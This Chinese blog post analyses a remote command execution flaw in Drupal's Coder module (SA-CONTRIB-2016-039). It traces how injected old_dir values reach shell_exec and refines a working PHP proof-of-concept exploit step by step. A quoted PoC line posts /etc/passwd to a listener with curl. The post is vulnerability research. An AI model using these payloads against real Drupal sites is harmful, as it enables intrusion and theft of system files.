IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

    没穿底裤发表于 2016-07-26 03:08:49
    love 0

    作者:曾鸿坤@安恒安全研究院、黄伟杰@安恒安全研究院

    背景:

    今年7月13日,Drupal发布了一个高危漏洞公告(DRUPAL-SA-CONTRIB-2016-039),即Coder模块的远程代码执行(在没有启用模块的情况下,漏洞也可以被触发)。
    但是这个模块不是Drupal默认自带的模块,所以影响范围有限。

    Drupal的Coder模块主要有以下两个功能:

    1. 用来检查代码文件是否符合Drupal编码标准,是否兼容当前版本的Drupal API。
    2. 用来将旧模块升级至符合当前Drupal标准的模块。

    影响范围:

    Coder module 7.x-1.x versions prior to 7.x-1.3.
    Coder module 7.x-2.x versions prior to 7.x-2.6.

    分析

    测试环境:Drupal 7.50, Coder 7.x-2.5.

    我们从网上找到个现有的POC (https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5),内容如下:

    <?php
    # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
    # https://www.drupal.org/node/2765575
    # by Raz0r (http://raz0r.name)
     
    $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
    $host = "http://localhost:81/drupal-7.12/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "color",
                "files" => array("color.module")
            )
        ),
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../../../../sites/default/files"
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
    ?>

    但是在我们的环境下,上面POC无法正常使用。然后就开始了我们的修改POC和分析漏洞之路。

    在文件/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php的开头,有这样两行代码:

    set_error_handler("error_handler");
    set_exception_handler("exception_handler");

    导致后面代码碰到Warning后都会自动退出,所以整个POC之路有点曲折。

    0. 我们先快速查找下导致命令注入的位置。

    通过POC可知是从items[‘old_dir’]注入命令,所以我们跟踪$items这个变量,得到以下路线。

    • 从coder_upgrade.run.php开始->$item变量进入coder_upgrade_start($upgrades, $extensions, $items)这个函数.
    • coder_upgrade_start函数声明在main.inc文件, 之后$items变成$item进入coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files)函数。
    • coder_upgrade_make_patch_file函数声明在仍然在main.inc文件,最后$item内的old_dir和new_dir被取出,进入shell_exec(“diff -up -r {$old_dir} {$new_dir} > {$patch_filename}”);,从而导致命令注入。

    1. 下面我们看coder_upgrade.run.php的代码:

    ...//ignore
    $usage = array();
    save_memory_usage('start', $usage);
     
    define('DRUPAL_ROOT', getcwd());
     
    ini_set('display_errors', 1);
    ini_set('memory_limit', '128M');
    ini_set('max_execution_time', 180);
    set_error_handler("error_handler");
    set_exception_handler("exception_handler");
     
    $path = extract_arguments(); //1.1.即获取$_GET['file']
    if (is_null($path)) {
      echo 'No path to parameter file';
      return 2;
    }
     
    // Load runtime parameters.
    $parameters = unserialize(file_get_contents($path)); //1.2.此处到下面三行实现变量覆盖
    foreach ($parameters as $key => $variable) {
      $$key = $variable;
    }
    save_memory_usage('load runtime parameters', $usage);
     
    // Set global variables (whose names do not align with extracted parameters).
    $_coder_upgrade_variables = $variables; //1.3.此处$variables需要覆盖,不然会产生未声明变量警告而退出。
    $_coder_upgrade_files_base = $paths['files_base']; //1.4. $path要覆盖,不然也会产生警告,下面两行同样情况。
    $_coder_upgrade_libraries_base = $paths['libraries_base'];
    $_coder_upgrade_modules_base = $paths['modules_base'];
     
    // Load core theme cache.
    $_coder_upgrade_theme_registry = array();
    if (is_file($theme_cache)) { //1.5.$theme_cache需要覆盖
      $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
    }
    save_memory_usage('load core theme cache', $usage);
     
    // Load coder_upgrade bootstrap code.
    $path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
    $files = array(
      'coder_upgrade.inc',
      'includes/main.inc',
      'includes/utility.inc',
    );
    foreach ($files as $file) {
      require_once DRUPAL_ROOT . '/' . $path . "/$file"; //1.6.此处需要正常包含文件,不能产生警告,POC里面的modules_base=>`../../../`,此时的目录结构可以符合条件。
    }
     
    coder_upgrade_path_clear('memory'); //1.7.此处会将一些调试信息写入指定文件,写入目录由POC里面的files_base指定,但是POC里面的`../../../../sites/default/files`,在我们的测试环境下,并没有这个目录,导致会产生警告而退出,所以我们将它修改为coder模块的目录`../..`,这样也避免了环境不同而导致POC不能使用。
    print_memory_usage($usage);
    coder_upgrade_memory_print('load coder_upgrade bootstrap code');
     
    $success = coder_upgrade_start($upgrades, $extensions, $items); //1.8.此处是关键,命令注入的入口。

    所以要执行到coder_upgrade_start,同时满足上面分析的所有条件,POC已经被我们修改为:

    $host = "http://localhost:82/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "color",
                "files" => array("color.module")
            )
        ),
        "variables" => 1,
        "theme_cache" => 1,
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../..",
            "libraries_base" => 1
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

    2. 接下来,我们看coder_upgrade_start函数的声明:

    在/sites/all/modules/coder/coder_upgrade/includes/main.inc文件中:

    function coder_upgrade_start($upgrades, $extensions, $items, $recursive = TRUE) {
      // Declare global variables.
      global $_coder_upgrade_log, $_coder_upgrade_debug, $_coder_upgrade_module_name, $_coder_upgrade_replace_files, $_coder_upgrade_class_files;
     
      // Check lists in case this function is called apart from form submit.
      if (!is_array($upgrades) || empty($upgrades)) {
        return FALSE;
      }
      if (!is_array($extensions) || empty($extensions)) {
        return FALSE;
      }
      if (!is_array($items) || empty($items)) {
        return FALSE;
      }
     
      $_coder_upgrade_log = TRUE;
      if ($_coder_upgrade_log) {
        // Clear the log file.
        coder_upgrade_path_clear('log');
        if (!variable_get('coder_upgrade_use_separate_process', FALSE)) {
          coder_upgrade_path_clear('memory');
        }
        coder_upgrade_memory_print('initial');
      }
      // Set debug output preference.
      $_coder_upgrade_debug = variable_get('coder_upgrade_enable_debug_output', FALSE);
      if ($_coder_upgrade_debug) {
        // Clear the debug file.
        coder_upgrade_path_clear('debug');
      }
     
      // Load code.
      coder_upgrade_load_code($upgrades); //2.1.我们调试到此处程序退出运行,经分析是因为包含文件出错。这个函数可理解为:require(modules目录.$upgrades['coder_upgrade']['module'].$upgrades['coder_upgrade']['files'][0]),即包含模块目录下的某些文件。POC里面的意思是包含color模块下的color.module文件。但是可能还是因为环境不同,我们modules目录下并没有color这个模块,所以我们还是选择coder模块本身。
      coder_upgrade_load_parser();
     
      // Set file replacement parameter.
      $_coder_upgrade_replace_files = variable_get('coder_upgrade_replace_files', FALSE);
      // Initialize list of class files.
      $_coder_upgrade_class_files = array();
     
      // Loop on items.
      foreach ($items as $item) {
        $_coder_upgrade_module_name = '';
    //    $_coder_upgrade_dirname = $item['old_dir'];
     
        if (!isset($_SERVER['HTTP_USER_AGENT']) || strpos($_SERVER['HTTP_USER_AGENT'], 'simpletest') === FALSE) {
          // Process the directory before conversion routines are applied.
          // Note: if user agent is not set, then this is being called from CLI.
          coder_upgrade_convert_begin($item);
        }
     
        // Call main conversion loop.
        coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive); //2.2.此处是修改完POC后另一处退出运行的地方,也是整个分析过程比较有意思的地方,跟踪函数(到第3点)。
     
        // Apply finishing touches to the directory.
        // Swap directories if files are replaced.
        $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
        coder_upgrade_convert_end($new_dir);
     
        // Make a patch file.
        coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files);
      }
     
      return TRUE;
    }

    “2.1后”,我们的POC被修改为:

    $host = "http://localhost:82/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "coder",
                "files" => array("coder.module")
            )
        ),
        "variables" => 1,
        "theme_cache" => 1,
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../..",
            "libraries_base" => 1
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

    3. 跟踪coder_upgrade_convert_dir函数:

    function coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive = TRUE) {
      global $_coder_upgrade_filename; // Not used by this module, but other modules may find it useful.
      static $ignore = array(/*'.', '..', '.bzr', '.git', '.svn',*/ 'CVS');
      global $_coder_upgrade_module_name, $_coder_upgrade_replace_files;
     
      $dirname = $item['old_dir'];
      $new_dirname = $item['new_dir'];
     
      // Create an output directory we can write to.
      if (!is_dir($new_dirname)) { //3.1.此处会获取我们可控的new_dir,新建一个目录
        mkdir($new_dirname);
        chmod($new_dirname, 0757);
      }
      else {
        coder_upgrade_clean_directory($new_dirname);
      }
      ...//ignore
      coder_upgrade_module_name($dirname, $item); //3.2.此处会scandir($dirname),如果$dirname目录不存在则会产生警告退出运行。dirname即POC里的old_dir,我们需要old_dir为一个已经存在的目录,但是如果下面程序会对那个目录下的文件产生其它操作,可能影响系统的正常功能。这时我们想到了上面3.1的创建目录。只需new_dir和old_dir相同,scandir(old_dir)即可正常运行,还不会影响系统其它文件。
      $_coder_upgrade_module_name = $item['module'] ? $item['module'] : $_coder_upgrade_module_name;
     
      // Loop on files.
      $filenames = scandir($dirname . '/');//3.3.此处同3.2
      foreach ($filenames as $filename) {
        $_coder_upgrade_filename = $dirname . '/' . $filename;
        if (is_dir($dirname . '/' . $filename)) {
          if (substr(basename($filename), 0, 1) == '.' || in_array(basename($filename), $ignore)) {
            // Ignore all hidden directories and CVS directory.
            continue;
          }
          $new_filename = $filename;
          // Handle D6 conversion item #79.
          if ($filename == 'po') {
            $new_filename = 'translations';
          }
          if ($recursive) {
            // TODO Fix this!!!
            $new_item = array(
              'name' => $item['name'],
              'old_dir' => $dirname . '/' . $filename,
              'new_dir' => $new_dirname . '/' . $filename,
            );
            coder_upgrade_convert_dir($upgrades, $extensions, $new_item, $recursive);
            // Reset the module name.
            $_coder_upgrade_module_name = $item['module'];
          }
        }
        elseif (in_array($extension = pathinfo($filename, PATHINFO_EXTENSION), array_keys($extensions))) {
          copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
          if ($extension == 'php' && substr($filename, -8) == '.tpl.php') {
            // Exclude template files.
            continue;
          }
          coder_upgrade_log_print("\n*************************");
          coder_upgrade_log_print('Converting the file => ' . $filename);
          coder_upgrade_log_print("*************************");
          coder_upgrade_convert_file($dirname . '/' . $filename, $new_dirname . '/' . $filename, $_coder_upgrade_replace_files);
        }
        elseif (in_array($extension, array('inc', 'install', 'module', 'php', 'profile', 'test', 'theme', 'upgrade'))) {
          copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
          // Check for a class declaration for use in the info file.
          coder_upgrade_class_check($new_dirname . '/' . $filename);
        }
        else {
          copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
        }
      }
    }

    “3.3后”,POC修改为:

    $host = "http://localhost:82/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "coder",
                "files" => array("coder.module")
            )
        ),
        "variables" => 1,
        "theme_cache" => 1,
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;")),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../..",
            "libraries_base" => 1
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

    我们回到2的coder_upgrade_start函数,此时我们已经可以进入coder_upgrade_make_patch_file函数,下面看coder_upgrade_make_patch_file函数的声明:

    function coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files = FALSE) {
      // Patch directory.
      $patch_dir = coder_upgrade_directory_path('patch');
     
      // Make a patch file.
      coder_upgrade_log_print("\n*************************");
      coder_upgrade_log_print('Creating a patch file for the directory => ' . $item['old_dir']);
      coder_upgrade_log_print("*************************");
      $patch_filename = $patch_dir . $item['name'] . '.patch'; //4.1.此处还有一个$item['name']在POC里面没有声明,所以程序到这里还是会退出运行,所以我们只需最后再修改下POC。
      // Swap directories if files are replaced.
      $old_dir = $_coder_upgrade_replace_files ? $item['new_dir'] : $item['old_dir'];
      $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
      coder_upgrade_log_print("Making patch file: diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
      shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
     
      // Remove the path strings from the patch file (for usability purposes).
      $old1 = $old_dir . '/';
      $new1 = $new_dir . '/';
      $contents = file_get_contents($patch_filename);
      file_put_contents($patch_filename, str_replace(array($old1, $new1), '', $contents));
    }

    我们最终POC为:

    $host = "http://localhost:82/";
     
    $a = array(
        "upgrades" => array(
            "coder_upgrade" => array(
                "module" => "coder",
                "files" => array("coder.module")
            )
        ),
        "variables" => 1,
        "theme_cache" => 1,
        "extensions" => array("module"),
        "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;", "name"=>1)),
        "paths" => array(
            "modules_base" => "../../../",
            "files_base" => "../..",
            "libraries_base" => 1
        )
    );
    $payload = serialize($a);
    file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

     



沪ICP备19023445号-2号
友情链接